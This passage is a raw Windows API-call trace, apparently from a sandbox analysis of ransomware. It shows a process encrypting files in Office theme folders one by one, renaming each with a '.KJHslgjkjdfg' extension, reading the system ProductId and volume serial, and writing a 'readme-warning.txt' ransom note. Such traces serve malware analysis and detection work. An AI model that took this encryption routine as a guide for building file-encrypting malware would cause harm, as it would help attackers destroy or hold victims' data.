lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29defe8*=0x7ec0, lpOverlapped=0x0) returned 1 [0172.604] CryptDestroyKey (hKey=0x9b6668) returned 1 [0172.604] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x7f94, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0172.604] SetEndOfFile (hFile=0x12c) returned 1 [0172.606] GetProcessHeap () returned 0x990000 [0172.606] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0172.606] GetProcessHeap () returned 0x990000 [0172.607] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0172.607] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\evrgreen\\thmbnail.png"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\THMBNAIL.PNG.KJHslgjkjdfg" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\evrgreen\\thmbnail.png.kjhslgjkjdfg")) returned 1 [0172.612] CloseHandle (hObject=0x12c) returned 1 [0172.612] FindNextFileW (in: hFindFile=0x9b6628, lpFindFileData=0x29df078 | out: lpFindFileData=0x29df078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5ad387f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x7eb1, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 0 [0172.612] GetProcessHeap () returned 0x990000 [0172.612] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0172.612] CryptImportKey (in: hProv=0x9acd90, pbData=0x29dedb8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x9a8524 | out: phKey=0x9a8524*=0x9b6668) returned 1 [0172.612] CryptDecrypt (in: hKey=0x9b6668, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0, pdwDataLen=0x29dee20 | out: pbData=0x9af7b0, pdwDataLen=0x29dee20) returned 1 [0172.612] CryptDestroyKey (hKey=0x9b6668) returned 1 [0172.612] GetProcessHeap () returned 0x990000 [0172.612] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7f8 [0172.612] CryptImportKey (in: hProv=0x9acd90, pbData=0x29dedb8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x9a8524 | out: phKey=0x9a8524*=0x9b6668) returned 1 [0172.612] CryptDecrypt (in: hKey=0x9b6668, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7f8, pdwDataLen=0x29dee20 | out: pbData=0x9af7f8, pdwDataLen=0x29dee20) returned 1 [0172.612] CryptDestroyKey (hKey=0x9b6668) returned 1 [0172.612] GetProcessHeap () returned 0x990000 [0172.613] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x3c0) returned 0x9fb9f0 [0172.613] CryptImportKey (in: hProv=0x9acd90, pbData=0x29dedb8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x9a8524 | out: phKey=0x9a8524*=0x9b6668) returned 1 [0172.613] CryptDecrypt (in: hKey=0x9b6668, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9fb9f0, pdwDataLen=0x29dee20 | out: pbData=0x9fb9f0, pdwDataLen=0x29dee20) returned 1 [0172.613] CryptDestroyKey (hKey=0x9b6668) returned 1 [0172.613] GetProcessHeap () returned 0x990000 [0172.613] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af840 [0172.613] CryptImportKey (in: hProv=0x9acd90, pbData=0x29de990, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x9a8524 | out: phKey=0x9a8524*=0x9b6668) returned 1 [0172.613] CryptDecrypt (in: hKey=0x9b6668, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af840, pdwDataLen=0x29dea00 | out: pbData=0x9af840, pdwDataLen=0x29dea00) returned 1 [0172.613] CryptDestroyKey (hKey=0x9b6668) returned 1 [0172.613] GetProcessHeap () returned 0x990000 [0172.613] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x20) returned 0x9b18c8 [0172.613] CryptImportKey (in: hProv=0x9acd90, pbData=0x29de990, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x9a8524 | out: phKey=0x9a8524*=0x9b6668) returned 1 [0172.613] CryptDecrypt (in: hKey=0x9b6668, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9b18c8, pdwDataLen=0x29dea00 | out: pbData=0x9b18c8, pdwDataLen=0x29dea00) returned 1 [0172.613] CryptDestroyKey (hKey=0x9b6668) returned 1 [0172.613] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion", ulOptions=0x0, samDesired=0x20119, phkResult=0x29de9fc | out: phkResult=0x29de9fc*=0x12c) returned 0x0 [0172.613] RegQueryValueExA (in: hKey=0x12c, lpValueName="ProductId", lpReserved=0x0, lpType=0x0, lpData=0x29dea08, lpcbData=0x29dea04*=0x400 | out: lpType=0x0, lpData=0x29dea08*=0x30, lpcbData=0x29dea04*=0x18) returned 0x0 [0172.613] RegCloseKey (hKey=0x12c) returned 0x0 [0172.614] GetProcessHeap () returned 0x990000 [0172.614] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af840 | out: hHeap=0x990000) returned 1 [0172.614] GetProcessHeap () returned 0x990000 [0172.614] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9b18c8 | out: hHeap=0x990000) returned 1 [0172.614] GetProcessHeap () returned 0x990000 [0172.614] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x20) returned 0x9b18c8 [0172.614] CryptImportKey (in: hProv=0x9acd90, pbData=0x29de770, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x9a8524 | out: phKey=0x9a8524*=0x9b6668) returned 1 [0172.614] CryptDecrypt (in: hKey=0x9b6668, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9b18c8, pdwDataLen=0x29de7d4 | out: pbData=0x9b18c8, pdwDataLen=0x29de7d4) returned 1 [0172.614] CryptDestroyKey (hKey=0x9b6668) returned 1 [0172.614] GetEnvironmentVariableW (in: lpName="SystemDrive", lpBuffer=0x29de7d8, nSize=0x104 | out: lpBuffer="C:") returned 0x2 [0172.614] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x0, lpVolumeSerialNumber=0x29de7d0, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x29de7d0*=0x9c354b42, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0172.614] GetProcessHeap () returned 0x990000 [0172.614] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9b18c8 | out: hHeap=0x990000) returned 1 [0172.614] wsprintfA (in: param_1=0x29dea1f, param_2="-%08X" | out: param_1="-9C354B42") returned 9 [0172.614] wsprintfA (in: param_1=0x29dee2c, param_2="%08X" | out: param_1="4B2E4630") returned 8 [0172.614] GetProcessHeap () returned 0x990000 [0172.615] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x3b4) returned 0x9b78c0 [0172.615] wsprintfW (in: param_1=0x29dddfc, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\readme-warning.txt") returned 83 [0172.615] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\readme-warning.txt" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\evrgreen\\readme-warning.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x12c [0172.617] WriteFile (in: hFile=0x12c, lpBuffer=0x9b78c0*, nNumberOfBytesToWrite=0x3b3, lpNumberOfBytesWritten=0x29dddf8, lpOverlapped=0x0 | out: lpBuffer=0x9b78c0*, lpNumberOfBytesWritten=0x29dddf8*=0x3b3, lpOverlapped=0x0) returned 1 [0172.619] CloseHandle (hObject=0x12c) returned 1 [0172.620] GetProcessHeap () returned 0x990000 [0172.620] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9fb9f0 | out: hHeap=0x990000) returned 1 [0172.620] GetProcessHeap () returned 0x990000 [0172.620] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9b78c0 | out: hHeap=0x990000) returned 1 [0172.620] GetProcessHeap () returned 0x990000 [0172.620] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7f8 | out: hHeap=0x990000) returned 1 [0172.620] GetProcessHeap () returned 0x990000 [0172.620] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0172.620] FindClose (in: hFindFile=0x9b6628 | out: hFindFile=0x9b6628) returned 1 [0172.620] GetProcessHeap () returned 0x990000 [0172.620] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9b1eb0 | out: hHeap=0x990000) returned 1 [0172.620] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a6f8e30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x60af2a30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x60af2a30, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="EXPEDITN", cAlternateFileName="")) returned 1 [0172.620] GetProcessHeap () returned 0x990000 [0172.620] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x92) returned 0x9b0940 [0172.620] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\*.*", lpFindFileData=0x29df078 | out: lpFindFileData=0x29df078*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a6f8e30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x60af2a30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x60af2a30, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x9b6628 [0172.621] GetProcessHeap () returned 0x990000 [0172.621] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9b0940 | out: hHeap=0x990000) returned 1 [0172.621] FindNextFileW (in: hFindFile=0x9b6628, lpFindFileData=0x29df078 | out: lpFindFileData=0x29df078*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a6f8e30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x60af2a30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x60af2a30, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1 [0172.621] FindNextFileW (in: hFindFile=0x9b6628, lpFindFileData=0x29df078 | out: lpFindFileData=0x29df078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfd690500, ftCreationTime.dwHighDateTime=0x1cab7f1, ftLastAccessTime.dwLowDateTime=0x60af2a30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xfd690500, ftLastWriteTime.dwHighDateTime=0x1cab7f1, nFileSizeHigh=0x0, nFileSizeLow=0x19539, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="EXPEDITN.ELM", cAlternateFileName="")) returned 1 [0172.621] GetProcessHeap () returned 0x990000 [0172.621] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x294) returned 0x9b1eb0 [0172.621] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\EXPEDITN.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\expeditn\\expeditn.elm"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x12c [0172.622] GetProcessHeap () returned 0x990000 [0172.622] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0172.622] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0172.622] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df008 | out: lpNewFilePointer=0x0) returned 1 [0172.622] WriteFile (in: hFile=0x12c, lpBuffer=0x29df018*, nNumberOfBytesToWrite=0x7, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x29df018*, lpNumberOfBytesWritten=0x29defe8*=0x7, lpOverlapped=0x0) returned 1 [0172.625] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29defec | out: phKey=0x29defec*=0x9b6668) returned 1 [0172.625] CryptSetKeyParam (hKey=0x9b6668, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0172.625] GetProcessHeap () returned 0x990000 [0172.625] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0172.625] CryptEncrypt (in: hKey=0x9b6668, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29defd0*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29defd0*=0x40) returned 1 [0172.625] CryptDestroyKey (hKey=0x9b6668) returned 1 [0172.625] WriteFile (in: hFile=0x12c, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29defe8*=0x40, lpOverlapped=0x0) returned 1 [0172.625] WriteFile (in: hFile=0x12c, lpBuffer=0x29deff0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x29deff0*, lpNumberOfBytesWritten=0x29defe8*=0x4, lpOverlapped=0x0) returned 1 [0172.625] WriteFile (in: hFile=0x12c, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29defe8*=0x10, lpOverlapped=0x0) returned 1 [0172.625] WriteFile (in: hFile=0x12c, lpBuffer=0x9b53e0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x9b53e0*, lpNumberOfBytesWritten=0x29defe8*=0x80, lpOverlapped=0x0) returned 1 [0172.626] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df010 | out: lpNewFilePointer=0x0) returned 1 [0172.626] WriteFile (in: hFile=0x12c, lpBuffer=0x29df000*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x29df000*, lpNumberOfBytesWritten=0x29defe8*=0x8, lpOverlapped=0x0) returned 1 [0172.626] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29defec | out: phKey=0x29defec*=0x9b6668) returned 1 [0172.626] CryptSetKeyParam (hKey=0x9b6668, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0172.626] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0172.626] ReadFile (in: hFile=0x12c, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x19539, lpNumberOfBytesRead=0x29deff4, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29deff4*=0x19539, lpOverlapped=0x0) returned 1 [0172.628] CryptEncrypt (in: hKey=0x9b6668, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29defd0*=0x19540, dwBufLen=0x19540 | out: pbData=0x27d0020*, pdwDataLen=0x29defd0*=0x19540) returned 1 [0172.629] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0172.629] WriteFile (in: hFile=0x12c, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x19540, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29defe8*=0x19540, lpOverlapped=0x0) returned 1 [0172.630] CryptDestroyKey (hKey=0x9b6668) returned 1 [0172.630] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x19614, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0172.630] SetEndOfFile (hFile=0x12c) returned 1 [0172.633] GetProcessHeap () returned 0x990000 [0172.633] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0172.633] GetProcessHeap () returned 0x990000 [0172.634] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0172.634] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\EXPEDITN.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\expeditn\\expeditn.elm"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\EXPEDITN.ELM.KJHslgjkjdfg" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\expeditn\\expeditn.elm.kjhslgjkjdfg")) returned 1 [0172.640] CloseHandle (hObject=0x12c) returned 1 [0172.640] FindNextFileW (in: hFindFile=0x9b6628, lpFindFileData=0x29df078 | out: lpFindFileData=0x29df078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x60af2a30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x255, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="EXPEDITN.INF", cAlternateFileName="")) returned 1 [0172.640] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\EXPEDITN.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\expeditn\\expeditn.inf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x12c [0172.644] GetProcessHeap () returned 0x990000 [0172.644] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0172.644] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0172.644] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df008 | out: lpNewFilePointer=0x0) returned 1 [0172.644] WriteFile (in: hFile=0x12c, lpBuffer=0x29df018*, nNumberOfBytesToWrite=0xb, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x29df018*, lpNumberOfBytesWritten=0x29defe8*=0xb, lpOverlapped=0x0) returned 1 [0172.646] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29defec | out: phKey=0x29defec*=0x9b6668) returned 1 [0172.646] CryptSetKeyParam (hKey=0x9b6668, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0172.646] GetProcessHeap () returned 0x990000 [0172.646] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0172.646] CryptEncrypt (in: hKey=0x9b6668, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29defd0*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29defd0*=0x40) returned 1 [0172.646] CryptDestroyKey (hKey=0x9b6668) returned 1 [0172.646] WriteFile (in: hFile=0x12c, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29defe8*=0x40, lpOverlapped=0x0) returned 1 [0172.646] WriteFile (in: hFile=0x12c, lpBuffer=0x29deff0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x29deff0*, lpNumberOfBytesWritten=0x29defe8*=0x4, lpOverlapped=0x0) returned 1 [0172.647] WriteFile (in: hFile=0x12c, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29defe8*=0x10, lpOverlapped=0x0) returned 1 [0172.647] WriteFile (in: hFile=0x12c, lpBuffer=0x9b1ba8*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x9b1ba8*, lpNumberOfBytesWritten=0x29defe8*=0x80, lpOverlapped=0x0) returned 1 [0172.647] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df010 | out: lpNewFilePointer=0x0) returned 1 [0172.647] WriteFile (in: hFile=0x12c, lpBuffer=0x29df000*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x29df000*, lpNumberOfBytesWritten=0x29defe8*=0x8, lpOverlapped=0x0) returned 1 [0172.647] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29defec | out: phKey=0x29defec*=0x9b6668) returned 1 [0172.647] CryptSetKeyParam (hKey=0x9b6668, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0172.647] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0172.647] ReadFile (in: hFile=0x12c, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x255, lpNumberOfBytesRead=0x29deff4, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29deff4*=0x255, lpOverlapped=0x0) returned 1 [0172.647] CryptEncrypt (in: hKey=0x9b6668, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29defd0*=0x260, dwBufLen=0x260 | out: pbData=0x27d0020*, pdwDataLen=0x29defd0*=0x260) returned 1 [0172.647] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0172.647] WriteFile (in: hFile=0x12c, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x260, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29defe8*=0x260, lpOverlapped=0x0) returned 1 [0172.647] CryptDestroyKey (hKey=0x9b6668) returned 1 [0172.648] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x334, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0172.648] SetEndOfFile (hFile=0x12c) returned 1 [0172.650] GetProcessHeap () returned 0x990000 [0172.650] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0172.650] GetProcessHeap () returned 0x990000 [0172.650] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0172.651] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\EXPEDITN.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\expeditn\\expeditn.inf"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\EXPEDITN.INF.KJHslgjkjdfg" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\expeditn\\expeditn.inf.kjhslgjkjdfg")) returned 1 [0172.656] CloseHandle (hObject=0x12c) returned 1 [0172.657] FindNextFileW (in: hFindFile=0x9b6628, lpFindFileData=0x29df078 | out: lpFindFileData=0x29df078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5a6f8e30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x1400, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="PREVIEW.GIF", cAlternateFileName="")) returned 1 [0172.657] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\expeditn\\preview.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x12c [0172.657] GetProcessHeap () returned 0x990000 [0172.657] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0172.657] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0172.657] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df008 | out: lpNewFilePointer=0x0) returned 1 [0172.658] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29defec | out: phKey=0x29defec*=0x9b6668) returned 1 [0172.658] CryptSetKeyParam (hKey=0x9b6668, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0172.658] GetProcessHeap () returned 0x990000 [0172.658] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0172.658] CryptEncrypt (in: hKey=0x9b6668, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29defd0*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29defd0*=0x40) returned 1 [0172.658] CryptDestroyKey (hKey=0x9b6668) returned 1 [0172.658] WriteFile (in: hFile=0x12c, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29defe8*=0x40, lpOverlapped=0x0) returned 1 [0172.660] WriteFile (in: hFile=0x12c, lpBuffer=0x29deff0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x29deff0*, lpNumberOfBytesWritten=0x29defe8*=0x4, lpOverlapped=0x0) returned 1 [0172.660] WriteFile (in: hFile=0x12c, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29defe8, 